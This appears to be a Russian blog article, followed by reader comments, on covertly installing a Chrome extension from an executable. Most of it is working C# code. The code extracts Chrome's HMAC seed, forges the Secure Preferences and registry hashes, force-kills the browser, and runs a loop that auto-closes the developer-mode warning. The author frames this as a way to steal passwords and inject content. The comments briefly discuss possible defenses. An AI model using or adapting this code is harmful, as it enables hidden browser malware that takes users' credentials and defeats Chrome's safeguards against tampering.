Доброго времени суток, дорогой читатель! Хром обновляется, но новых статей про то, как программно установить расширение в хром нет, помимо --load-extension — но это не наш вариант, ведь мы не ищем легких путей. Сегодня расскажу как действительно можно одним exe-шником получить всё: пароли, подменять контент, как можно совершить кражи и т.п. — но это не призыв к действию, а лишь статья для ознакомления. Весь сок под катом.
И так, что же позволяет нам делать расширение в режиме разработчика? Ну, как и обычное расширение оно может работать на всех сайтах, и, к примеру, тырить пароли, внедрять рекламу, и тп. Но расширение в режиме разработчика дает доступ еще к одной фиче, которая вроде не особо важна, но может стать полезной: у нас есть доступ к файловой системе. Да, мы собираемся запускать этот эксплоит из exe-файла и в принципе нам это не особо надо, а вдруг?
Анализируем файлы
И так, для начала можно посмотреть какие файлы будут отличатся после установки расширения, можем обнаружить, что это %appdata%\..\Local\Google\Chrome\User Data\<профиль>\Secure Preferences. Давайте скопируем содержимое, удалим расширение и восстановим копию — у тут бац! и расширение опять работатет. Глянув на ID можно увидеть, что меняются два значения с этим ключом: extensions.settings.id и protection.macs.extensions.settings.id — первый — настройки, второй — это какой-то хеш. Залезем в сорсы и увидим — это HMAC SHA256. Но от чего он его получает? Давайте залезем в отладчик, приаттачимся к хрому и подгрузим символы из
https://chromium-browser-symsrv.commondatastorage.googleapis.com
Насилуем хром
Воу! Находим файл pref_hash_calculator.cc, качаем, ставим брейк на
std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const
Оп — получаем seed_ — ключ для HMAC'а, и так же узнаем, что он конкатит три строчки и берет результат как HMACSHA256(device_id + path + value, seed_). Хорошо, давайте посмотрим на наш seed_ — и тут нас ждет первое огорчение: это просто строчка «ChromeRegistryHashStoreValidationSeed» — спросите, что же с ней не так? А давайте посмотрим на результат вычисления, сравним полученный хеш и хеш в файле по данному пути — разочаровываемся, но нет! Ключевое слово в ключе «Registry», лезем в реестр, смотрим — и действительно, это ключ для хешей в реестре, он нам понадобится.
Дебажим, дебажим, и везде только этот ключ, что не так? Теперь давайте глянем какой же длины должен быть стандартный ключ для HMACSHA256? 64 байта, и скорее всего, это не строчка, а какой-то набор байт. Перебирать? Не успеем! Первое предположение — наш seed_ захардкожен в каждой версии хрома — давайте попробуем перебрать все варианты 64х последовательных байт в бинарниках и файлах хрома. Пишем простенький скрипт и примерно за час получаем первый результат: наш seed_ лежит в resources.pak. Давайте прогуглим структуру.
Version 4, у нас же — 5. Что-то не так, может, структура не поменялась? Но, нет. После некоторых попыток получаем, что структура такова: 4 байта version(5), 4 байта — кодировка?(1), 2 байта — количество записей, 2 байта непонятно что. Далее идут записи в формате: 2 байта — ID, 4 байта — смещение относительно начала файла. Ищем секцию длиной 64 байта — и да, находим её, это и есть наш seed_. Теперь давайте напишем функцию для поиска seed_ в resources.pak для файла 4й и 5й версии:
public static byte[] GetSeed(string resources_pak)
{
//Open stream
using (FileStream fs = File.OpenRead(resources_pak))
using (BinaryReader reader = new BinaryReader(fs))
{
// Read in all pairs.
//4 bytes - Version (Assume, that is 5 or 4)
int version = reader.ReadInt32();
int second_dword = reader.ReadInt32();
int count = 0;
if (version == 0x05)
{
count = (reader.ReadUInt16()) + 1;
reader.ReadUInt16();
}
else
{
count = second_dword;
//Skip useless byte
reader.ReadByte();
}
uint last_offset = (uint)(count) * 6 + (uint)fs.Position;
for (int i = 0; i < count; i++)
{
//Word: ID
uint id = (uint)reader.ReadInt16();
//DWord: Offset from file start
uint offset = (reader.ReadUInt32());
//Assume, that seed_ is 64 bytes long
if (offset - last_offset == 64)
{
//Save last position in file
long last = fs.Position;
//Go to section position
fs.Seek(last_offset, SeekOrigin.Begin);
//Allocate space
uint want = offset - last_offset;
byte[] u = new byte[want];
for (int o = 0; o < want; o++)
u[o] = reader.ReadByte();
//Return carret back
fs.Seek(last, SeekOrigin.Begin);
return u;
}
last_offset = offset;
}
}
return null;
}
Окей, давайте поменяем настройки, и попробуем подменить хеш — неудача. Первое, что можно найти в сорсах хрома — из значения удаляются все пустые объекты. Окей, сказано — сделано.
Опять неудача — нам надо генерировать так же такой же HMACSHA256 от protection.macs, путь в данном случае надо опустить. Супер! Получили. Но, мы совсем забыли про device_id — где же его взять? В старых версиях — это MachineID из некоторой сторонней библиотеки RLZ. В новых — просто SID ПК. Как его получить? Для второго варианта и новых версий хрома:
public static string GetSID()
{
StringBuilder sb = new StringBuilder(260);
int size = 260;
GetComputerName(sb, ref size);
byte[] Sid = null;
uint cbSid = 0;
string accountName = sb.ToString();
StringBuilder referencedDomainName = new StringBuilder();
uint cchReferencedDomainName = (uint)referencedDomainName.Capacity;
SID_NAME_USE sidUse;
int err = NO_ERROR;
if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse))
{
err = Marshal.GetLastWin32Error();
if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS)
{
Sid = new byte[cbSid];
referencedDomainName.EnsureCapacity((int)cchReferencedDomainName);
err = NO_ERROR;
if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse))
err = Marshal.GetLastWin32Error();
}
}
else
{
// Consider throwing an exception since no result was found
}
if (err == 0)
{
if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid))
{
err = Marshal.GetLastWin32Error();
}
else
{
string sidString = Marshal.PtrToStringAuto(ptrSid);
LocalFree(ptrSid);
return sidString;
}
}
return null;
}
И, для старого варианта:
public static string GetMachineId(string sid)
{
string dir = Environment.SystemDirectory;
dir = dir.Substring(0, dir.IndexOf("\\") + 1);
StringBuilder volname = new StringBuilder(261);
StringBuilder fsname = new StringBuilder(261);
uint sernum, maxlen;
FileSystemFeature flags;
if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity))
Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
byte[] sid_str = (Hash(sid));
byte[] bts = new byte[sid_str.Length + 4];
for (int i = 0; i < sid_str.Length; i++)
bts[i] = sid_str[i];
for (int i = 0; i < sizeof(int); i++)
{
int shift_bits = 8 * (sizeof(int) - i - 1);
bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF);
}
byte b = Crc8.Gen(bts);
var sb = new StringBuilder(bts.Length + 1);
foreach (byte bb in bts)
sb.Append(bb.ToString("X2"));
sb.Append(b.ToString("X2"));
return sb.ToString();
}
И так, остается подшаманить над настройками и сохранить файл, но при этом закрыв хром:
public static void Install()
{
string path = Unzip();
string id = "";
string flags = "" + ((1 << 7) | (1 << 2));
string loc = "4";
id = "dblokgoogmhjemeebajnamjdmloolcjd";
string setting = "тут ваши настройки";
preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C"));
preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))));
string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings";
string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)));
Registry.SetValue(abc, id, reg_key);
string macs = GetSecure("protection.macs");
preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs));
Process process = new Process();
// Stop the process from opening a new window
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.CreateNoWindow = true;
// Setup executable and parameters
process.StartInfo.FileName = @"taskkill.exe";
process.StartInfo.Arguments = "/im chrome.exe /f";
// Go
process.Start();
process.WaitForExit();
Thread.Sleep(150);
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences);
}
Так же, заметим, что теперь при открытии браузера открывается окошечко «Отключение расширений в режиме разработчика» — как его закрыть — уже выбор каждого. Можно как я оставить поток после себя, который будет закрывать это окошечко через WinAPI:
public static void CheckWindows()
{
while (true)
{
Process[] pcs = Process.GetProcessesByName("chrome");
if (pcs.Length > 0)
{
List<IntPtr> ww = GetChildWindows(IntPtr.Zero);
foreach (var hwnd in ww)
{
try
{
uint pidd = 0;
GetWindowThreadProcessId(hwnd, out pidd);
IntPtr pid = (IntPtr)pidd;
IntPtr hProcess = OpenProcess(0x0410, false, pidd);
StringBuilder text = new StringBuilder(1000);
GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity);
CloseHandle(hProcess);
if (!text.ToString().EndsWith("chrome.exe"))
continue;
const int nChars = 256;
StringBuilder Buff = new StringBuilder(nChars);
if (GetWindowText(hwnd, Buff, nChars) > 0)
{
string name = Buff.ToString();
if (names.Contains(name))
SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
}
Thread.Sleep(1);
}
catch
{
}
Thread.Sleep(1);
}
}
else Thread.Sleep(10);
}
}
Удачи и этичного хакинга! Кто знает как провернуть такое же с Яндекс Браузером — было бы очень интересно узнать, уже неделю пытаюсь расковырять, не получается.
Комментарии (13)
reatfly
06.02.2019 10:42А зачем реверс, если можно взять сорцы хромиума и посмотреть? (ну или даже сбилдить хромиум, если очень хочется)
mrlolthe1st Автор
07.02.2019 00:31Ну, если очень интересно — можно перерыть, но в ЯБ, к примеру по-другому — и тут сорсы никак не помогут, браузер закрыт.
gerod
06.02.2019 22:40Простите, я не понял из статьи, как через расширение в хроме запустить exe? и как данное расширение появляется у пользователя…
mrlolthe1st Автор
06.02.2019 22:40Вы ничего не поняли. Мы ставим расширение через exe. Читайте внимательнее.
dMac
Обычно в подобных статьях в конце пишут, как защититься от того, что в статье описано. Вы могли бы дописать такой раздел?
Я так понимаю, что намертво запретить все расширения не получится, да и не для всех это нормальный вариант.
mrlolthe1st Автор
Думаю что лаконичного и разумного решения кроме бдительности пользователя — нет, ведь везде присутствует человеческий фактор, есть вариант ставить наблюдение за записями в файл, но это легко обходиться патчем хрома.
IGHOR
Защититься от этого получится только если изменят механизм используя асинхронное шифрование, и подпись для расширения разработчика будет выдаваться онлайн на сайте.
mrlolthe1st Автор
проблема в том, что в данном случае мы грузили распакованное расширение, гугл сам дал нам такую возможность, если её выпилить — как дебажить расширения?
IGHOR
Так же как это делает Apple. Сервер выдает временный сертификат который надо постоянно продлевать.
mrlolthe1st Автор
Решение вполне разумное — но ведь выдача сертификатов и их проверка решается опять же простым патчем хрома — сорсы и pdbшки в открытом доступе. Вопрос времени.
IGHOR
Apple не проверяет временные сертификаты. Распространение подписанного расширения которое действует несколько дней мало эффективно. Полная проверка происходит только для подписей на долгий строк.
IGHOR
Не верно понял ваше сообщение.
Само собой запустив свой ехе в целевой машине можно делать что угодно.
Но цель таких способов в том чтобы не привлекать внимание антивирусов, делая патчи так не получится.
mrlolthe1st Автор
Ну, сейчас они сэндбоксят файлы — не думаю, что это сложно обходится, в своё время обходил созданием батника и вызовом от туда.